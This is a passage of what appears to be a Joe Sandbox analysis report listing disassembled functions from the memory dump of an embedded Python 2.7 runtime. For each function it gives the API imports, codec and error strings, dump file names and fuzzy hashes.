Instruction Fuzzy Hash: 1E11C4B6B041409BE304DA69ED80BCA73AAEBD567CF054235E50987B40D736E85AC7E2

Function 6C0A9700 Relevance: 7.6, APIs: 5, Instructions: 64fileCOMMON

Download Yara Rule

APIs

fwrite.MSVCR90 ref: 6C0A971E
fflush.MSVCR90 ref: 6C0A9742
memmove.MSVCR90(?,00000014,?), ref: 6C0A9761
PyString_AsString.PYTHON27(?), ref: 6C0A9775
PyErr_SetFromErrnoWithFilename.PYTHON27(6C2E4EC0,00000000), ref: 6C0A9785

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_ErrnoFilenameFromStringString_Withfflushfwritememmove
String ID:
API String ID: 2743657609-0
Opcode ID: 07c81a7f33029eb78fcba016c6b60e252c9d71ad7d89a656a71fcbe9e26b9cf1
Instruction ID: c798ea2130b710c2303cad5aab47767b830ae71b72b7d24a69539ed2c43a1970
Opcode Fuzzy Hash: 07c81a7f33029eb78fcba016c6b60e252c9d71ad7d89a656a71fcbe9e26b9cf1
Instruction Fuzzy Hash: 85119476A002105BC7149EE9ECC4AAB37A8EB45328B040665ED189B246E722E92587F2

Function 6C15F5F0 Relevance: 7.6, APIs: 5, Instructions: 52COMMON

Download Yara Rule

APIs

malloc.MSVCR90 ref: 6C15F60D
PyUnicodeUCS2_EncodeDecimal.PYTHON27(?,?,00000000,00000000), ref: 6C15F624
free.MSVCR90 ref: 6C15F631
PyLong_FromString.PYTHON27(00000000,00000000,?), ref: 6C15F648
free.MSVCR90 ref: 6C15F653

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: free$DecimalEncodeFromLong_StringUnicodemalloc
String ID:
API String ID: 3848787443-0
Opcode ID: 40bfb78f2a1063d3453d904ebf25eb2414a9b618c3753bfa20e87b58dfc94720
Instruction ID: 993907b725ad286f7cb59b4b12b3a4663cbcb422916eeb814888e79a57d1fc36
Opcode Fuzzy Hash: 40bfb78f2a1063d3453d904ebf25eb2414a9b618c3753bfa20e87b58dfc94720
Instruction Fuzzy Hash: C6F0F9B670111127EA0057A5AC09F8B3BADDF9227CF140131FE38C76C0F671E56682E5

Function 6C15DD90 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 167COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON27(6C2E63F8,can't convert negative long to unsigned), ref: 6C15DDB8
PyErr_SetString.PYTHON27(6C2E63F8,long too big to convert), ref: 6C15DF06

Strings

can't convert negative long to unsigned, xrefs: 6C15DDB2
long too big to convert, xrefs: 6C15DF00

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Err_String
String ID: can't convert negative long to unsigned$long too big to convert
API String ID: 1450464846-3211828677
Opcode ID: 84ec0a783cb2c11ffe490fdfaefbd07bddd5c2e59be98e62a64170087c50115f
Instruction ID: 407eee723c3262970576a1ac38040d1b24cfa6eb32a3a05ab5fd33e90b5521e8
Opcode Fuzzy Hash: 84ec0a783cb2c11ffe490fdfaefbd07bddd5c2e59be98e62a64170087c50115f
Instruction Fuzzy Hash: 0D5128B5A0420ADBCF00EEACC9C02AD77B0EF65315F9047AAED7597B80D7349991CB50

Function 6C18A680 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 166COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON27(6C2E48B0,bad argument type for built-in operation), ref: 6C18A6CD

Part of subcall function 6C188180: PyCodec_LookupError.PYTHON27(00000000,invalid start byte,?,?,?,?,?), ref: 6C1881B1
Part of subcall function 6C188180: _PyObject_CallFunction_SizeT.PYTHON27(6C2E5FF0,ss#nns,?,?,?,?,?,00000000,invalid start byte,?,?,?,?,?), ref: 6C1881EE
Part of subcall function 6C188180: PyObject_CallFunctionObjArgs.PYTHON27(00000000,?,00000000,?,?,?,?,?), ref: 6C18822F
Part of subcall function 6C188180: PyErr_SetString.PYTHON27(6C2E48B0,decoding error handler must return (unicode, int) tuple,?,?,?,?,?,?,?,?), ref: 6C18825C

Strings

unicode_internal, xrefs: 6C18A72A
bad argument type for built-in operation, xrefs: 6C18A6C7
truncated input, xrefs: 6C18A725

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: CallErr_Object_String$ArgsCodec_ErrorFunctionFunction_LookupSize
String ID: bad argument type for built-in operation$truncated input$unicode_internal
API String ID: 3383467039-1149483871
Opcode ID: bb93b983c38bf2ad82d9a15bbedd79831bd1e68790e270a7476e67796242c9f1
Instruction ID: 676cef6c5338f1495b9cba042d15e76f8c5c21463c46683610cfc7ec721ca077
Opcode Fuzzy Hash: bb93b983c38bf2ad82d9a15bbedd79831bd1e68790e270a7476e67796242c9f1
Instruction Fuzzy Hash: 46519275E052099FDF00CFA8D8809DEB7B4EB54328B158269D9189BA84E731EE06DF90

Function 6C0A1C60 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 102COMMON

Download Yara Rule

APIs

_PyArg_ParseTuple_SizeT.PYTHON27(?,s*|zi:utf_16_be_decode,?,?,?), ref: 6C0A1C8B
PyUnicodeUCS2_DecodeUTF16Stateful.PYTHON27(?,?,?,00000001,?), ref: 6C0A1CC0

Strings

s*|zi:utf_16_be_decode, xrefs: 6C0A1C78

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Arg_DecodeParseSizeStatefulTuple_Unicode
String ID: s*|zi:utf_16_be_decode
API String ID: 227215544-4276332408
Opcode ID: 3dbfc007b61fd3af49332d5cb38fcf251db90f4a2698a6c6f547c2794925a68f
Instruction ID: d7c694c3255bf17ac465ba11a73c1c62342a6203bb222f9e8ee6fa83c53571cc
Opcode Fuzzy Hash: 3dbfc007b61fd3af49332d5cb38fcf251db90f4a2698a6c6f547c2794925a68f
Instruction Fuzzy Hash: 0E3164B6A00108AFDB04CFD9D8819EEB3F9EF84218B14466DE91997641E731EE068791

Function 6C0A1E40 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 102COMMON

Download Yara Rule

APIs

_PyArg_ParseTuple_SizeT.PYTHON27(?,s*|zi:utf_32_decode,?,?,?), ref: 6C0A1E67
PyUnicodeUCS2_DecodeUTF32Stateful.PYTHON27(?,?,?,?,?), ref: 6C0A1E9C

Strings

s*|zi:utf_32_decode, xrefs: 6C0A1E58

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Arg_DecodeParseSizeStatefulTuple_Unicode
String ID: s*|zi:utf_32_decode
API String ID: 227215544-943812581
Opcode ID: 005db97073ea6c1858dbd0bb8ad193b274284dd30fe28d471a2724c68afb1156
Instruction ID: 6c6fec64599d26b9884a51c6f6b0bdbc0dd56777f7915bd9a7ed3833e6bbd22a
Opcode Fuzzy Hash: 005db97073ea6c1858dbd0bb8ad193b274284dd30fe28d471a2724c68afb1156
Instruction Fuzzy Hash: 613164B2A00108AFDB04DFD9DC81DEEB3F9EF84218B14466DE519D7641E731EE068791

Function 6C0A1F20 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 102COMMON

Download Yara Rule

APIs

_PyArg_ParseTuple_SizeT.PYTHON27(?,s*|zi:utf_32_le_decode,?,?,?), ref: 6C0A1F4B
PyUnicodeUCS2_DecodeUTF32Stateful.PYTHON27(?,?,?,FFFFFFFF,?), ref: 6C0A1F80

Strings

s*|zi:utf_32_le_decode, xrefs: 6C0A1F38

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Arg_DecodeParseSizeStatefulTuple_Unicode
String ID: s*|zi:utf_32_le_decode
API String ID: 227215544-1791201783
Opcode ID: 0e1c7459f37898558290f509b24bd97f0f3bbdd94588697f920315b910003ada
Instruction ID: cce1a6cfa1f18139a17ba7f5914592d0bff0c2cb651eb7b6d7373455e78f56e9
Opcode Fuzzy Hash: 0e1c7459f37898558290f509b24bd97f0f3bbdd94588697f920315b910003ada
Instruction Fuzzy Hash: 133195B2A04114AFDB14CFD9DC41DEEB7F9EF88224B144659E82997741E730EE068B91

Function 6C0A2010 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 102COMMON

Download Yara Rule

APIs

_PyArg_ParseTuple_SizeT.PYTHON27(?,s*|zi:utf_32_be_decode,?,?,?), ref: 6C0A203B
PyUnicodeUCS2_DecodeUTF32Stateful.PYTHON27(?,?,?,00000001,?), ref: 6C0A2070

Strings

s*|zi:utf_32_be_decode, xrefs: 6C0A2028

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Arg_DecodeParseSizeStatefulTuple_Unicode
String ID: s*|zi:utf_32_be_decode
API String ID: 227215544-2717993573
Opcode ID: c4337ef67ba70884ebe94ce761c0377ea47ae342b838d1b289322c6f00f822b4
Instruction ID: d3dc5796c7488d4ab06d82e8b1ebe2420ec43b82c81ba8a4bdf8ffbd1720e931
Opcode Fuzzy Hash: c4337ef67ba70884ebe94ce761c0377ea47ae342b838d1b289322c6f00f822b4
Instruction Fuzzy Hash: 1F3177B2A00104AFDB04DFDADC85DEEB3F9EF84218B14466DE91997742E7319E06C791

Function 6C0A25D0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 99COMMON

Download Yara Rule

APIs

_PyArg_ParseTuple_SizeT.PYTHON27(?,s*|zi:mbcs_decode,?,?,?), ref: 6C0A25F4
PyUnicode_DecodeMBCSStateful.PYTHON27(?,?,?,?), ref: 6C0A2625

Strings

s*|zi:mbcs_decode, xrefs: 6C0A25E8

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Arg_DecodeParseSizeStatefulTuple_Unicode_
String ID: s*|zi:mbcs_decode
API String ID: 3965784926-1507612309
Opcode ID: db350d435469131e27a99e025bb8b8003f1605554a1f78d2a78479ff767ec65a
Instruction ID: 498620166aeef82be0227ea7990fbc46c7d8e2ec256f51f47fbebec8aba3b173
Opcode Fuzzy Hash: db350d435469131e27a99e025bb8b8003f1605554a1f78d2a78479ff767ec65a
Instruction Fuzzy Hash: 0B31B6B6A01108AFDB08CFDADC85DEEB3F8EF84218B14426CE51997751E6309D06CB91

Function 6C0A18D0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 99COMMON

Download Yara Rule

APIs

_PyArg_ParseTuple_SizeT.PYTHON27(?,s*|zi:utf_7_decode,?,?,?), ref: 6C0A18F4
PyUnicode_DecodeUTF7Stateful.PYTHON27(?,?,?,?), ref: 6C0A1925

Strings

s*|zi:utf_7_decode, xrefs: 6C0A18E8

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Arg_DecodeParseSizeStatefulTuple_Unicode_
String ID: s*|zi:utf_7_decode
API String ID: 3965784926-330556165
Opcode ID: 56f8bb29c592505e20199f7200705174cea7118bddc020e1849a21d5bbe55a81
Instruction ID: 41db3f84a4e993e30973c72647858e8a0493a1b603ac9b66c15921affb4aac22
Opcode Fuzzy Hash: 56f8bb29c592505e20199f7200705174cea7118bddc020e1849a21d5bbe55a81
Instruction Fuzzy Hash: 763182B6A00109AFDB08CFD9D881DEEB3F9EF84224B14426CE91997641E630ED06CB91

Function 6C0ADCF7 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 98COMMON

Download Yara Rule

APIs

PyArg_ParseTupleAndKeywords.PYTHON27(?,?,OO&:scan_once,6C3018E4,?,Function_0000ADC0,?), ref: 6C0ADD5C

Part of subcall function 6C0AD510: PyString_FromString.PYTHON27(idx cannot be negative,?,?,?,?,?,6C0AC59D,FFFFFFFD,?,?,?), ref: 6C0AD532
Part of subcall function 6C0AD510: PyErr_SetObject.PYTHON27(6C2E5D10,00000000,?), ref: 6C0AD53E

Part of subcall function 6C0AB580: PyInt_FromLong.PYTHON27 ref: 6C0AB59D

Strings

OO&:scan_once, xrefs: 6C0ADD4E
first argument must be a string, not %.80s, xrefs: 6C0ADDD2

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: From$Arg_Err_Int_KeywordsLongObjectParseStringString_Tuple
String ID: OO&:scan_once$first argument must be a string, not %.80s
API String ID: 2740004086-585280560
Opcode ID: ae35d767cf27320b75bd644b570c2fe43217882ab07b3d2aed4ece990ab9af1a
Instruction ID: e8119faa8a4d9e99c3e6d56beae6f545d85bb2efe96222b7d29638bc724715b5
Opcode Fuzzy Hash: ae35d767cf27320b75bd644b570c2fe43217882ab07b3d2aed4ece990ab9af1a
Instruction Fuzzy Hash: 48314675902208BFDB49DFF4D842A9BBBF8EB4530CB10459CE819C6761E7329A16CB51

Function 6C0A24F0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 97COMMON

Download Yara Rule

APIs

_PyArg_ParseTuple_SizeT.PYTHON27(?,s*|zO:charmap_decode,?,?,?), ref: 6C0A2514
PyUnicodeUCS2_DecodeCharmap.PYTHON27(?,?,?,?), ref: 6C0A2543

Strings

s*|zO:charmap_decode, xrefs: 6C0A2508

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: Arg_CharmapDecodeParseSizeTuple_Unicode
String ID: s*|zO:charmap_decode
API String ID: 2828756669-2412081656
Opcode ID: bdb60738247056358fbbb02c3f49aa85181830edeea035152ec903d3e010eb85
Instruction ID: 24c8f81c3c55dbadc43a50c616562763dba0f88f5fde6e37fc019a16d6efd162
Opcode Fuzzy Hash: bdb60738247056358fbbb02c3f49aa85181830edeea035152ec903d3e010eb85
Instruction Fuzzy Hash: 15218672A01104AFDB04DFE9D8949AE77F9FF88228B14466CE919C7741E630DA06C791

Function 6C100DB0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 81threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C100DD6
Py_BuildValue.PYTHON27((iO),00000001,?), ref: 6C100E27
PyEval_CallObjectWithKeywords.PYTHON27(?,00000000,00000000), ref: 6C100E4B

Strings

(iO), xrefs: 6C100E22

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: BuildCallCurrentEval_KeywordsObjectThreadValueWith
String ID: (iO)
API String ID: 4089372107-915891140
Opcode ID: c69cd10ac456bdf0df4fee21536d9b75a48d74f426657fe2a101b8eccb03b8bb
Instruction ID: 35b0995ae194585628ae85d0d5fa0f363e119b5732bee04c05d30781b6c32b7f
Opcode Fuzzy Hash: c69cd10ac456bdf0df4fee21536d9b75a48d74f426657fe2a101b8eccb03b8bb
Instruction Fuzzy Hash: ED212272B00201ABDB108FA5DD85B86B7FCEB56338F100368E91897A80EB76D941CBD1

Function 6C169E50 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

APIs

PyString_FromString.PYTHON27(<dummy key>,00000000,E8526C2E,?,?,6C13F060,00000000,?,?,?,6C13F1E2,?), ref: 6C169E66
memset.MSVCR90 ref: 6C169EB2
PyObject_GC_Track.PYTHON27 ref: 6C169EDA

Strings

<dummy key>, xrefs: 6C169E61

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_6c0a0000_pyexec.jbxd

Similarity

API ID: FromObject_StringString_Trackmemset
String ID: <dummy key>
API String ID: 733772200-4195026744
Opcode ID: 4e0ee2da9104cb958bd1f2c6c213ecb8dfe7d9ad83b66333f17f23970e3a44b2
Instruction ID: a07c38ca29e7495d8d8f5bac4ee345f4f92a3224705964e1bc3c648eeb3981de
Opcode Fuzzy Hash: 4e0ee2da9104cb958bd1f2c6c213ecb8dfe7d9ad83b66333f17f23970e3a44b2
Instruction Fuzzy Hash: D321D6B15013008FEF108F59DCD17567BA8AF15328F1542AAEC188FF85E779E925CB91

Function 6C0A2430 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 79COMMON

Download Yara Rule

APIs

_PyArg_ParseTuple_SizeT.PYTHON27(?,s*|z:ascii_decode,?,?), ref: 6C0A244E
PyUnicodeUCS2_DecodeASCII.PYTHON27(?,?,00000000), ref: 6C0A246D
_Py_BuildValue_SizeT.PYTHON27(6C1EA948,00000000,?), ref: 6C0A24C1

Strings

s*|z:ascii_decode, xrefs: 6C0A2441

Memory Dump Source

Source File: 0000000E.00000002.2490185741.000000006C0A1000.00000020.00000001.01000000.00000011.sdmp, Offset: 6C0A0000, based on PE: true

Associated: 0000000E.00000002.2490163369.000000006C0A0000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490416112.000000006C1EA000.00000002.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490563897.000000006C2BF000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2C0000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490605537.000000006C2D4000.00000008.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490781208.000000006C311000.00000004.00000001.01000000.00000011.sdmpDownload File
Associated: 0000000E.00000002.2490811276.000000006C324000.00000002.00000001.01000000.00000011.sdmpDownload File

Joe Sandbox IDA Plugin

